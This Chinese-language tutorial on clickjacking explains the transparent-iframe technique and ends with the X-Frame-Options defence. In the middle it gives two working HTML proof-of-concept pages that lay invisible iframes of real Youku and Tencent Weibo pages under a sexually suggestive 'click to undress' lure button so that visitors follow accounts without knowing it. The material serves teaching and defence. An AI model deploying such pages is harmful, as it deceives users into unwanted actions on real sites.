
什么是點擊劫持
點擊劫持,clickjacking,也被稱為UI-覆蓋攻擊。這個詞首次出現在2008年,是由互聯網安全專家羅伯特·漢森和耶利米·格勞斯曼首創的。
它是通過覆蓋不可見的框架誤導受害者點擊。
雖然受害者點擊的是他所看到的網頁,但其實他所點擊的是被黑客精心構建的另一個置於原網頁上面的透明頁面。
劫持原理
攻擊者使用一個透明的、不可見的iframe,覆蓋(包含)一個網頁,然后誘使用戶在該網頁上進行操作,此時用戶在不知情的情況下點擊了透明的iframe頁面。通過調整iframe頁面的按鈕位置,可以誘使用戶恰好點擊在iframe頁面的一些功能性按鈕上。
劫持案例
- 點擊一個表面顯示是“播放”某個視頻的按鈕,而實際上完成的操作卻是將用戶的社交網站個人信息改為“公開”狀態。
- 通過圖片覆蓋導致鏈接到一些未知的網站
思路即為,找到有用的地方,查到坐標,放置按鈕,放置誘惑信息,OK!
代碼示例
優酷頻道刷粉的POC
<!DOCTYPE html>
<html>
<head>
http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>點擊劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: 0;
left: 0;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0)
}
button {
position: absolute;
top: 230px;
left: 1200px;
z-index: 1;
width: 80px;
height: 20px
}
</style>
</head>
<body>
<button>點擊脫衣</button>
<img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"> </iframe>
</body>
</html>
騰訊微博刷粉
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>點擊劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 250px;
left: 770px;
z-index: 1;
width: 80px;
height: 20px;
}
</style>
</head>
<body>
<button>點擊脫衣</button>
<img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
<iframe src="http://search.t.qq.com/user.php?pos=436&k=東北保釣" scrolling="no"></iframe>
</body>
</html>
防御
X-FRAME-OPTIONS是目前最可靠的方法
X-FRAME-OPTIONS是微軟提出的一個http頭,專門用來防御利用iframe嵌套的點擊劫持攻擊。
並且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
這個頭有三個值:
DENY // 拒絕任何域加載
SAMEORIGIN // 允許同源域下加載
ALLOW-FROM // 可以定義允許frame加載的頁面地址